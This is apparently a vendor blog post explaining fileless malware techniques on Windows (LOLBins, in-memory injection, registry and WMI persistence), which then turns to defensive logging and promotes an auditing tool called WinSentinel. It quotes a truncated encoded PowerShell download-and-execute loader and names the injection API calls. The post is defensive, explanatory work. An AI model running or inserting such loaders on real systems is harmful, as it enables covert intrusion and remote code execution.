Fileless Malware on Windows: Why Your Antivirus Misses In-Memory Attacks

The word "fileless" is a slight exaggeration, but the threat it describes is very real. A fileless attack is one that leaves little or no executable payload on disk. Instead of dropping malware.exe into C:\Temp where a signature scanner can find it, the attacker runs their code directly in the memory of a trusted process, encodes it into a registry value, or invokes it through a legitimate Windows binary. There is nothing on disk to quarantine, and the process tree looks like ordinary administration.

This is not exotic. According to years of incident-response data, a majority of successful intrusions now use at least one fileless technique somewhere in the kill chain. The reason is simple: it works. Traditional antivirus was built to answer one question — is this file on disk malicious? Fileless attacks refuse to be a file.

How fileless attacks actually run

There are three broad families, and most real intrusions chain several together.

1. Living-off-the-land (LOLBins)

The attacker never brings their own executable. They abuse tools that already ship with Windows and are trusted by default: powershell.exe, mshta.exe, rundll32.exe, regsvr32.exe, wmic.exe, certutil.exe. A classic loader downloads and executes a payload entirely in memory:

powershell -nop -w hidden -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUA...

That Base64 blob decodes to an IEX (New-Object Net.WebClient).DownloadString(...) that pulls a script from a remote host and runs it without ever touching the filesystem. The parent process is powershell.exe — signed by Microsoft, allowlisted everywhere.

2. In-memory injection

Frameworks like Cobalt Strike and Meterpreter allocate executable memory inside a benign process (often explorer.exe or a browser), copy shellcode into it with VirtualAllocEx / WriteProcessMemory, and start a thread there. The malicious code runs under the identity and reputation of the host process. On disk: nothing.

3. Registry and WMI persistence

To survive a reboot without a file, attackers store an encoded payload in a registry value and trigger it from a Run key, a scheduled task, or — more quietly — a permanent WMI event subscription. The payload is data, not an executable, so it never trips a file scan.

The common thread: every one of these techniques deliberately avoids the one artifact antivirus is best at inspecting — a file sitting on disk.

Why signature scanning loses this fight

• No file to hash. Signature and even most ML file-classification models need a sample on disk. Memory-resident code and registry blobs don't provide one.
• Trusted parents. The malicious behaviour comes from powershell.exe or svchost.exe, which are on every allowlist. Blocking them outright breaks the OS.
• Encoding and obfuscation. Base64, XOR, and string concatenation defeat static content matching on the command line.
• It's already over. A reactive scan on a schedule runs long after the in-memory stage has done its work and cleaned up.

What actually catches fileless attacks

You stop looking for the payload and start looking for the behaviour and configuration that make the attack possible or observable. Concretely:

1. PowerShell logging must be on. Script Block Logging (Event ID 4104) records the deobfuscated content of what PowerShell actually ran, encoded command or not. Module logging and transcription add depth. Without these three, a memory-only PowerShell loader leaves almost no trace.
2. Command-line auditing. Process-creation events (4688) with the full command line turn that Base64 blob into searchable evidence. It is off by default on most hosts.
3. AMSI intact. The Antimalware Scan Interface inspects scripts at runtime, after decoding, right before execution — one of the few defences that sees in-memory content. Attackers try to disable it, so its status must be monitored.
4. Autostart and WMI hygiene. Enumerate every Run key, scheduled task, service, and WMI event subscription and flag the ones that launch encoded PowerShell or LOLBins.
5. Attack Surface Reduction rules. ASR rules can block Office from spawning child processes, block obfuscated scripts, and block executable content from email — cutting off common fileless entry points.

The catch is that almost none of this is enabled out of the box, and each control lives in a different registry hive, GPO, or provider. A machine can look "clean" to antivirus while having Script Block Logging off, AMSI already bypassed, and three encoded-PowerShell autoruns — the exact blind spot fileless malware is built to exploit.

Where continuous host auditing fits

This is precisely the gap WinSentinel is built to close. Rather than scanning files, it continuously audits the state that determines whether a fileless attack is visible: it checks that PowerShell Script Block, module, and transcription logging are enabled; that process command-line auditing is on; that AMSI hasn't been tampered with; and it enumerates autostart locations, scheduled tasks, services, and WMI subscriptions, surfacing encoded or LOLBin-driven persistence for review.

Every one of those checks runs locally with full depth on a single machine — the free tier gives you all 33 audit modules with no limits, because a host either has these controls configured correctly or it doesn't. For an organization running many endpoints, the Pro tier adds a central node so you can roll those posture results up across the whole fleet, alert on drift when a machine silently loses its PowerShell logging, and prove the configuration to an auditor. But the detection surface itself is host-local and available to everyone.

Fileless malware wins by being invisible to file scanners. The counter is not a better scanner — it's making sure the telemetry and hardening that do see in-memory behaviour are turned on and stay on, on every machine, continuously. That is an auditing problem, and it is one you can actually solve.